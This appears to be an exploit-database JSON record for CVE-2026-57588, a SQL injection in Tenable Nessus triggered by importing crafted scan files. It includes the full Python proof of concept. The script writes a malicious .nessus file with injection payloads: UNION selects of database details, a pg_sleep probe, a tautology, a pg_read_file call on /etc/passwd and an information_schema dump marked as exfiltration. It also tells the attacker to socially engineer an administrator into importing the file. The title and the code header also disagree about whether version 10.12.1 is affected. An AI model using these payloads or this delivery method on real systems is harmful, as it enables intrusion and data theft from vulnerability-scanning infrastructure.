{"exploit":{"id":"EDB-52620","name":"Tenable Nessus 10.12.1 - SQL Injection (SQLi)","description":"Tenable Nessus 10.12.1 - SQL Injection (SQLi)","cves":["CVE-2026-57588"],"author":"banyamer","published":"2026-07-07","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52620","path":"exploits/multiple/webapps/52620.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52620.py","vulnerabilities":[{"id":"CVE-2026-57588","state":"PUBLISHED","title":"SQL Injection in Nessus via Malicious Scan Result File Import","titleSource":"CVE Program","description":"A SQL injection vulnerability in Nessus allows an attacker to craft a malicious scan result file that, when imported by a privileged user, injects malicious SQL into the scan results database, potentially enabling exfiltration of scan-result data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-57588","cvss":{"version":"4.0","baseScore":1.6,"severity":"low","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","source":"tenable","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-57588"},"updatedAt":"2026-06-25T15:49:55.857Z","retrievedAt":"2026-11-25T16:13:47.461Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52620.png?v=2","url":"https://exploitbin.com/exploits/EDB-52620","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52620/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52620/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:    Tenable Nessus 10.12.1 - SQL Injection\n# CVE:                  CVE-2026-57588\n# Date:                 2026-06-26\n# Exploit Author:       Mohammed Idrees Banyamer\n# Author Country:       Jordan\n# Instagram:            @banyamer_security\n# Author GitHub:        https://github.com/mbanyamer\n# Author Blog  :        https://banyamersecurity.com/blog/\n# Vendor Homepage:      https://www.tenable.com\n# Software Link:        https://www.tenable.com/downloads/nessus\n# Affected:             Nessus 10.12.0 and prior\n# Tested on:            Nessus 10.12.0\n# Category:             Remote\n# Platform:             Linux / Windows\n# Exploit Type:         SQL Injection\n# CVSS:                 4.3 (Medium)\n# Description:          A SQL injection vulnerability exists in Tenable Nessus when importing malicious scan result files (.nessus XML).\n#                       Successful exploitation allows data exfiltration from the backend database by a privileged user.\n# Fixed in:             Nessus 10.12.1 and later\n# Usage:\n#   python3 exploit.py -o malicious.nessus\n#\n# Examples:\n#   python3 exploit.py\n#   python3 exploit.py --output poc.nessus\n#\n# Options:\n#   -o, --output     Output filename for the malicious .nessus file\n#\n# Notes:\n#   • This is a Proof of Concept. Requires social engineering to trick a privileged user into importing the file.\n#   • Works best against PostgreSQL backend (default in Nessus).\n#\n# How to Use\n#\n# Step 1:\n#   Generate the malicious file using this script.\n#\n# Step 2:\n#   Deliver the .nessus file to a Nessus administrator and have them import it via the web interface.\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\nimport argparse\nimport xml.etree.ElementTree as ET\n\ndef create_malicious_nessus(output_file):\n    root = ET.Element(\"NessusClientData_v2\")\n    report = ET.SubElement(root, \"Report\")\n    report.set(\"name\", \"PoC - CVE-2026-57588\")\n    host = ET.SubElement(report, \"ReportHost\")\n    host.set(\"name\", \"poc-target.example.com\")\n    host_properties = ET.SubElement(host, \"HostProperties\")\n    tags = [\n        (\"hostname\", \"evil-host' UNION SELECT NULL, current_database(), version(), user() -- \"),\n        (\"os\", \"Linux' AND (SELECT pg_sleep(5))=0 -- \"),\n        (\"ip\", \"192.168.1.1' OR '1'='1\"),\n        (\"fqdn\", \"test' ; SELECT pg_read_file('/etc/passwd') -- \"),\n    ]\n    for name, value in tags:\n        tag = ET.SubElement(host_properties, \"tag\")\n        tag.set(\"name\", name)\n        tag.text = value\n    item = ET.SubElement(host, \"ReportItem\")\n    ET.SubElement(item, \"pluginID\").text = \"999999\"\n    ET.SubElement(item, \"pluginName\").text = \"CVE-2026-57588 PoC\"\n    ET.SubElement(item, \"port\").text = \"0\"\n    ET.SubElement(item, \"protocol\").text = \"tcp\"\n    ET.SubElement(item, \"severity\").text = \"0\"\n    ET.SubElement(item, \"description\").text = \"Proof of Concept for SQL Injection\"\n    plugin_output = ET.SubElement(item, \"plugin_output\")\n    plugin_output.text = \"\"\"Normal output\n' UNION ALL SELECT\n    '=== DATA EXFIL START ===',\n    table_name,\n    column_name,\n    '=== DATA EXFIL END ==='\nFROM information_schema.columns\nWHERE table_schema = current_schema() -- \"\"\"\n    tree = ET.ElementTree(root)\n    with open(output_file, \"wb\") as f:\n        tree.write(f, encoding=\"utf-8\", xml_declaration=True)\n    print(f\"[+] Malicious file successfully created: {output_file}\")\n    print(\"[+] Deliver this file to a privileged Nessus user for import.\")\n\ndef main():\n    banner()\n    parser = argparse.ArgumentParser(description=\"CVE-2026-57588 Nessus SQLi PoC\")\n    parser.add_argument(\"-o\", \"--output\", default=\"cve-2026-57588-poc.nessus\", help=\"Output filename (default: cve-2026-57588-poc.nessus)\")\n    args = parser.parse_args()\n    create_malicious_nessus(args.output)\n\nif __name__ == \"__main__\":\n    main()","sha256":"bfcfdb8b37d2e1550643579b70d1ed71e4801442a123ae2097cd2fb14caa2b71","bytes":4968,"fetchedAt":"2026-11-26T08:55:59.099Z","encoding":"utf-8 (display only; download retains original bytes)"}